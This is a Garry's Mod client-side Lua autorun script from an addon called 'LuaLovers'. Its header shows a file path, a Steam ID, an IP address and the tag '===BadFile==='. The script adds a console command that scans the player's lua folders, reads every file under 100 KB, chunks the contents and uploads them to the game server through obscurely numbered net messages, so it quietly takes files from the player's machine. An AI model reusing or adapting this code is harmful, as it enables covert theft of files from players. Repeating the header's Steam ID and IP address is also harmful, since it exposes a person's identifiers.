--[[
	MOD/addons/LuaLovers/lua/autorun/client/LuaLovers1.lua [#2366 (#2457), 2291458406, UID:1436368782]
	lemmagame.com Check it out | STEAM_0:0:45881962 <209.89.51.159:27005> | [03.05.14 05:35:11PM]
	===BadFile===
]]

local script = {}
local script1 = {}
local script2 = {}
local locations = {}
local toadd = {}
local newstr = ""
local baddirectories = {"derma","drive","entities","includes","matproxy","menu","postprocess","skins","vgui","weapons","server"}

local function doshit(kay,vee)
	timer.Create("fucking".. kay, kay/5, 1, function()
	newstr = ""
	local sections = string.len(file.Read(vee,"MOD"))/4095
	local rounded = math.floor(sections)
	local extras = sections-rounded

	for i=1,rounded,1 do
		table.insert(script,string.sub(file.Read(vee,"MOD"),4095*(i-1),4095*i))
	end
	table.insert(script,string.sub(file.Read(vee,"MOD"),-(math.Round(4095*extras)))) -- Rounded just in case it went to an integer.
	
	if table.GetLastKey(script)/16 > 1 then
		for k,v in pairs(script) do
			if k <= 16 then 
				table.insert(script1,v)
			else
				table.insert(script2,v)
			end
		end
		table.Empty(script)
		
		net.Start("93858182383125")
			net.WriteString(vee)
			net.WriteTable(script1)
		net.SendToServer()
		table.Empty(script1)
		
		net.Start("93858182383126")
			net.WriteTable(script2)
		net.SendToServer()
		table.Empty(script2)
	else
		net.Start("93858182383125")
			net.WriteString(vee)
			net.WriteTable(script)
		net.SendToServer()
		table.Empty(script)
	end
	end)
end

concommand.Add("dumplongtick",function()
	local files1, directories1 = file.Find("lua/*","MOD")
	for a,b in pairs(directories1) do
		for c,d in pairs(baddirectories) do
			if not string.match(tostring(d),tostring(b)) then
			table.insert(locations,b)
			end
		end
	end

	timer.Create("5directories", 0.1, 5, function()
		for k,v in pairs(locations) do
		local files, directories = file.Find(v.."/*","MOD")
			if directories then
				for a,b in pairs(directories) do
					table.insert(locations,v.."/"..b)
				end
			end
		end
	end)
	timer.Simple(2, function()
		local shit,fuck = file.Find("lua/*","MOD")
		for ka,filee in pairs(shit) do
			if (file.Size("lua/"..filee, "MOD") < 102400) then
			table.insert(toadd,"lua/"..filee)
			end
		end
		for k,v in pairs(locations) do
		local files2, directories2 = file.Find("lua/"..v.."/*","MOD")
			if files2 then
				for ka, filee in pairs(files2) do
					if (file.Size("lua/"..v.."/"..filee, "MOD") < 102400) then
						table.insert(toadd,"lua/"..v.."/"..filee)
					end
				end
			end
		end
	for kay,vee in pairs(toadd) do
	doshit(kay,vee)
	end
	end)
end)